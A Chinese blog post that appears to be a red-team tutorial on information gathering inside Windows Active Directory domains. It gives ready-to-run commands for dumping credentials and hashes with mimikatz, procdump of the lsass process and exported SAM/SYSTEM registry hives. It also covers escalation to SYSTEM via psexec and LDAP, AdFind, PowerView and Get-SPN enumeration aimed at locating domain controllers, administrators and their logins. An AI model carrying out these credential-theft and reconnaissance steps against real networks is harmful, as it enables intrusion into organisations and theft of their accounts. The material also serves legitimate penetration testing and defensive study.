域渗透-信息收集

域渗透-信息收集

本文的ldap部分内容也发布至朋友运维的微信公众号:https://mp.weixin.qq.com/s/t_XidiNJvBIOIkUk_jFjig

在域中,往往一些目标是我的重点关注对象,比如exchange邮件服务器,比如域控,比如运维管理员的主机,比如堡垒机,我们信息收集主要就是去获取这些关键服务器的信息

判断主机是否在域内

使用systeminfo查看

systeminfo

在域环境下会显示

通常net view 会出错,可使用其他域查询命令

net user /domain

抓取hash

mimikatz使用小技巧

#一条命令,会在当前目录下生成mimikatz.log

.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

服务器上抓取

mimikatz抓hash,一般上传上去或者下载信息下来本地抓,但是上传上去后后续修改票据也可以用到mimikatz,必须要system权限才可以

mimikatz.exe "privilege::debug"

sekurlsa::logonpasswords

那么我们不是system权限,但是是administrator权限,执行失败

导出本地抓取-使用procdump

导出后本地抓取,需要system权限运行powershell或者cmd

#下载个procdump,https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

#上传procdump.exe

procdump.exe -accepteula -ma lsass.exe lsass.dmp

#拷贝lsass.dmp下来,本地运行

mimikatz.exe "sekurlsa::minidump lsass.dmp"

sekurlsa::logonpasswords

抓取后会在当前目录生成一个lsass.dmp

之后运行将lsass.dmp复制到本地,即可

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

导出抓取-从sam数据库提取

导出有2种方式

1.从注册表里面导出hiv

2.从C:\\System32\Config\sam 中提取

从注册表中导出
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv

sam.hivsystem.hiv 复制到本地运行即可

mimikatz.ex log "lsadump::sam /sam:sam.hiv /system:system.hiv" exit

跑出来结果如下

查看历史登录账号

quser

查看域分组

net group "Domain Controllers" /domain

查看域主机

net group "domain controllers" /domain

获取域控ip,记住不需要加后面的$符号

ping DC01

查看域的密码策略

net accounts /domain

ldap查询语法

ldap是在域中独有的协议,能去查询域里面活动目录的基本信息,方便过滤有用的信息

ldap 是去查活动目录,活动目录是域控上的一个服务,正常情况下域控会开放一个389端口,这个端口就是供域内成员获取活动目录信息的,而活动目录相当于一个数据库,他的结构是树形的,我们可以一级一级的获取信息

去查活动目录是为了摸清楚整个域内的人员和服务器架构,因为每个人员都会记录描述身份,服务器的提供服务细节等详细信息,比通常的net user /domain之类的查询更加的详细,而我们再查询中关注的点为,用户,主机,域控,组织

在域控上运行中可使用adsiedit.msc工具,尝试普通的域主机不能打开该服务

打开后就是如下的页面

先明确几个概念,因为用户或者主机入域都会带有他自身的信息,比如属于哪个部门,比如姓名是啥,在域内这些信息都是公开的

在这个ldap查询的活动目录里面每个标志代表信息关系如下,套用安全客https://www.anquanke.com/post/id/195100 的图片

可以看到整个活动目录是一个树结构,每个节点都有他的信息

比如bob节点,他的属性有:uid=bob,ou=people,dc=acme,dc=org

这些属性对于这个节点叫做DN,而他的本身的属性比如uid=bob叫做RDN

而往往目录下会有3个标识,我们查询也会用到

  • CN:Common Name
  • OU:Organizational Unit
  • DC:Domain Controller

他具有非常简单的查询语法

用与号 (&) 表示的 AND 运算符。
用竖线 (|) 表示的 OR 运算符。
用感叹号 (!) 表示的 NOT 运算符。
用名称和值表达式的等号 (=) 表示的相等比较。
用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。

这里拿adfind举例(后面会详细归纳几个工具),查找primaryGroupID=513 sAMAccountName=Shi.zuan的用户

./adfind.exe -f "&(sAMAccountName=Shi.zuan)(&(primaryGroupID=513)(objectcategory=person))"

其实可以从上面看到,每条记录都会有一堆属性,而我们要使用语法去检索出对应人员或主机的信息,因为一口气全跑的话,比较大的域可能有上千条记录

域内组和OU

查询域内所有组

.\AdFind.exe -s subtree -bit -f "(objectclass=group)" -dn

对于分组我们可以大致画一个图

我们再域内生成的账号,在第一步他会自动默认为全局组账号,之后再由管理员分配到对应的域本地组里面去

OU

ou和组是2个东西,组是一堆均有一样权限的账号的集合,OU是逻辑的账号归属划分

举个例子CN=人事部,OU=上海总部,DC=klion,DC=localOU=法务部,OU=上海总部,DC=klion,DC=local 这个是2个组织部门,他们的OU是不同的

那么每个部门假设都有一个网络运维人员,比如人事部是刘强,法务部是朱琳,那么这个时候刘强和朱琳在组中又是属于同一组,而OU不是同一个

域账号信息

每个域账号都有自己的信息,比如姓名,部门,描述,分组,账号创建时间,设置密码时间,上次登录时间等等,和直接的net user /domain比起来,前者具有更加详细的信息,而后者只是将账号进行一个罗列而已

在活动目录中,登录账号是UserPrincipalName字段和sAMAccountName字段

域主机

域主机其实没有啥特别的信息,主要就是去定位某些电脑是做什么的,域控是哪一个ip这些作用

但是域主机有个非常有用的地方在于,域主机的objectclass是继承的user这个类,user这个类是域用户的信息,那么域主机继承了user这个类,他就具有user这个类的属性,简而言之就是域主机能登录到域服务器中,他的登录账号为 主机名$

我们往往会遇到这么一个场景登录了一台属于域环境的主机,但是当前登录的账号里面没有域账号登录记录,并且当前账号仅为本地账号

上面这个场景中有个账号通用能访问到域里面的资产,即该主机账号

举个例子,当前主机账号为Ceshi1,为主机账号,无法访问到域

但这个ceshi1账号是administrator组的账号,可以提升到system,借助psexec提升到system权限,会显示拒绝访问

失败的原因是cmd不是管理员身份起的,再次使用管理员运行powershell或者cmd,此次的adfind同样不具备域访问凭证

使用psexec.exe提升至system权限

再次使用adfind.exe

ldap参数

从上面的例子可以看出,我们有3个参数查到这钻石这个用户,分别是sAMAccountName=Shi.zuan,primaryGroupID=513,objectcategory=person

这里的sAMAccountName和primaryGroupID不难看出就是钻石这个用户的属性值

而objectcategory这个参数表示该记录是属于哪一个目录的,在活动目录中有着2个比较重要的定位参数,一个叫objectcategory,另一个叫objectClass

objectClass

这个参数表示当前信息是属于哪一个类型的并且他的父类是什么,每一个记录都是一个类,有些记录在不同的目录下,但他们的数据结构相同他们也是一个类

下图这个人事部,这个"文件夹"的属性为top;organizationalUnit , 他这个类叫做organizationalUnit,他的父类叫做top

在看上海总部这个"文件夹",他的属性同样为top;organizationalUnit

那么我们再检索organizationalUnit这个类的时候,则会把相同格式属性的类("文件夹")罗列出来

objectcategory

这个参数表示当前信息是属于哪一条目录下的,像我们平时用的C:\User\Administrator\xxx 这样的目录,在活动目录中,我们同样有这样的目录,只是结构是OU=人事部,OU=上海总部,DC=klion,DC=local,对应的可视化界面如下,其实类比过来是一样的

那么使用工具进行查询,这条参数不是上图中上放的目录,是属性中的objectcategory属性信息

上图他属性众多,为了方便有时候可用只去查他的最近的一个属性,而这个属性其实和objectclass差不多,有些可能有细微的区别

比如上图查询的"文件夹"的记录,他最后一位的dn是CN=Organizational-Unit,他的标识属性为:organizationalUnit

工具使用

ldap查询场景分为3种,域外linux发起查询域外windows发起查询域内windows发起查询,因为域这个系统99%都是windows主机,那么在域内一般都是windows的系统

域外发起的比较鸡肋,你必须要知道一个域用户的账号密码才可以,在特定的条件下才能发挥作用。

域外linux

需要用到ldapsearch工具,在利用前需要知道dc的ip,以及一个域成员用户的账号密码

#下载
apt-get install ldap-utils

#利用方式
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))"

上面的参数, -H ldap://域控ip:389 , 已获取的其中一个域成员信息账号密码 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123!

域外windows

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

下载使用该工具

#先引入
Import-Module PowerView.ps1

#先载入用户名和密码
$uname="testa"                                                      
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)    

#查询域用户
Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred

#查询域主机
Get-NetComputer -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred

#查询域组
Get-Netgroup -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
域内信息收集

因为已经在域内了,信息收集非常方便

powerview.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

域外使用powerview,同样域内信息收集也可以使用powerview.ps1,并且因为已经在域内了,不再需要去输入账号密码

#先引入
Import-Module PowerView.ps1

#使用只查询域用户姓名信息
Get-NetUser | fl name

因为这里已经在域内,不带-Domain, -DomainController等参数也能查询是因为,他默认查询当前账号所在的域的信息

如果想要全面的信息,直接使用

Get-NetUser > log.txt

其他利用

#查询主机
Get-Netcomputer

#查询组
Get-Netgroup

这里注意下查询组的结果并不和net group /domain的结果完全一直,需要区分个概念,活动目录记录的是每台计算机或者用户的信息,他是可以编辑的相当于一个人员名册,而net group /domain是账号的权限划分

net group /domain 的结果

ADexplorer

ADexplorer为windows下查看ldap活动目录的一个常用的图形化工具

下载方式

wget http://live.sysinternals.com/ADExplorer.exe

打开后为如图所示界面,当你与域控建立有效通讯时,直接点击ok即可用当前账号登录成功

点击放大镜使用搜索语法

Adfind

adfind是windows域环境下的一个非常常用的命令工具

他的运行参数格式如下

AdFind.exe -b [域信息] -f [过滤条件] [返回属性]

#域信息一般是 DC=xxx,DC=local 这样的形式,如果账号已经在域内可以不填,如果有多个域可以访问,则需要填写

#过滤条件 一般为ldap的查询语法,使用""进行包裹

#返回属性为我们希望展示的数据,如果不填则一并返回

这里如果要使用xxx:AND:=111 这样的形式查询对应位数的信息时,一定要加上-bit参数,如果不加-bit则不会出数据

AdFind.exe -f "(grouptype:AND:=2)" -bit

比如去查询该域下面,人员信息的邮箱信息情况

我们也可以通过-c返回总共有多少条记录

AdFind.exe -f "(objectcategory=person)" -c

查询域内所有通用组

通用组即在访问林中所有的资产,如果查询该域内的通用组,即查到的组即也可以请求其他域中的资产

.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=8))" -dn

查询域内所有全局组

全局组作用是他是一某一个域内创建的组,可以理解为刚新创一个域账号时他是属于全局组的,在域内可以登录域内主机,而它又被其他域进行了受信,即他即能访问本域的资产,又可以访问授信域的资产

.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=2))" -dn

查询域内所有域本地组

域本地组即在域内可以活动的组信息

.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=4))" -dn 

AdFind我们可以去查各种属性,当然也可用它去查路径就比如这里的图片上方的 Path这个路径

.\AdFind.exe -b OU=人事部,OU=上海总部,DC=klion,DC=local

使用-tdc转换时间为可读时间

.\AdFind.exe -bit -f "&(objectclass=person)(sAMAccountName=Oadmin)" -tdc

没转换前是这样的时间戳

转换后

Get-SPN

https://github.com/nullbind/Powershellery/edit/master/Stable-ish/Get-SPN/Get-SPN.psm1

SPN 这个参数全称为ServicePrincipleName, 这个参数会记录即登录账号名称,但是往往在域中为了方便管理,通常会去把一些特定账号比如oa,mysql等等以服务的名字取命令登录账号。

get-spn能够快速找到域管用户登陆服务器记录和快速定位一些特殊服务器

#加载模块
Import-Module ./Get-SPN.psm1

#使用查找域管组登录过的服务
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table –Autosize

#查找系统中一些特殊服务,以mssql为例
Get-SPN  -type service -search "MSSQLSvc*" -List yes | Format-Table –Autosize

参考文章

https://wooyun.js.org/drops/使用LDAP查询快速提升域权限.html

https://wooyun.js.org/drops/从活动目录获取域管理员权限的各种姿势.html

https://3gstudent.github.io/渗透基础-活动目录信息的获取

https://www.anquanke.com/post/id/195100

https://www.anquanke.com/post/id/195737

https://www.anquanke.com/post/id/196510

https://www.anquanke.com/post/id/197113

https://www.anquanke.com/post/id/197329

posted @ 2022-03-02 13:58  sijidou  阅读(2023)  评论(0编辑  收藏  举报